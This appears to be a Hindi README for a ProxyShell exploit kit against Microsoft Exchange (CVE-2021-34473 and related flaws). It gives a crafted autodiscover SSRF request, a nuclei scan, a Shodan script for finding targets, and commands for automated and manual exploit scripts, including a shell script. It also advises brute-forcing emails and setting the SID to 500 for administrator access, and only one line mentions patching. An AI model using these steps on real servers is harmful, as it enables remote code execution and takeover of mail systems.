ProxyShell (CVE-2021-34473)

CVE-2021-34473 माइक्रोसॉफ्ट एक्सचेंज सर्वर रिमोट कोड निष्पादन भेद्यता। यह दोषपूर्ण URL सामान्यीकरण हमें एक्सचेंज सर्वर मशीन खाते के रूप में चलते हुए एक मनमाना बैकएंड URL तक पहुंचने देता है। हालांकि यह बग ProxyLogon में SSRF जितना शक्तिशाली नहीं है, और हम URL के केवल पथ भाग में हेरफेर कर सकते हैं, फिर भी यह हमारे लिए मनमाना बैकएंड एक्सेस के साथ आगे के हमले करने के लिए पर्याप्त शक्तिशाली है।

CVE-2021-34523 - एक्सचेंज PowerShell बैकएंड विशेषाधिकार उन्नयन
CVE-2021-31207 - प्रमाणीकरण के बाद मनमाना-फ़ाइल-लेखन

स्कैनर

nuclei स्कैनर Proxyshell RCE (CVE-2021-34423, CVE-2021-34473, CVE-2021-31207) के लिए, जिसे orange tsai ने Pwn2Own में खोजा, जो माइक्रोसॉफ्ट एक्सचेंज सर्वर को प्रभावित करता है।

nuclei -u target.com -t proxyshell.yaml

https://xxx.xxx.xxx.xxx/autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]

shodan लक्ष्य

sudo python3 shodan-query.py

उपयोग

sudo python3 ProxyShell.py -u https://<IP>

विशेषताएँ

कोई ईमेल पता प्रदान करने की आवश्यकता नहीं है
सक्रिय निर्देशिका से ईमेल की गणना करने का प्रयास करता है
सक्रिय निर्देशिका से LegacyDNs की गणना करने का प्रयास करता है
बिल्ट-इन ईमेल से LegacyDNs खोजने का प्रयास करता है
लोड-संतुलित तैनाती में एक्सचेंज सर्वर के SID की खोज करने का प्रयास करता है
लोड-संतुलित वातावरण में शोषण को संभालता है

मैन्युअल पेंटेस्ट

 python2 /manual/check.py 
 sudo python3 /manual/proxyshell.py
 python2 /manual/shell.py

सुझाव:

वैध ईमेल पता खोजने के लिए लक्ष्य की टोह लें
यदि आपको कोई ईमेल नहीं मिलता है, तो अपनी ईमेल फ़ाइल के साथ ब्रूटफोर्स लक्ष्य का उपयोग करें।
कुछ लक्ष्यों में स्वचालन शोषण काम नहीं करता, आपको SID को ब्रूटफोर्स करना चाहिए और SID=500 में बदलना चाहिए।

शमन उपाय

यहाँ मिलने वाले सुरक्षा अद्यतन लागू करें: CVE-2021-34473

ProxyShell

सबसे लोकप्रिय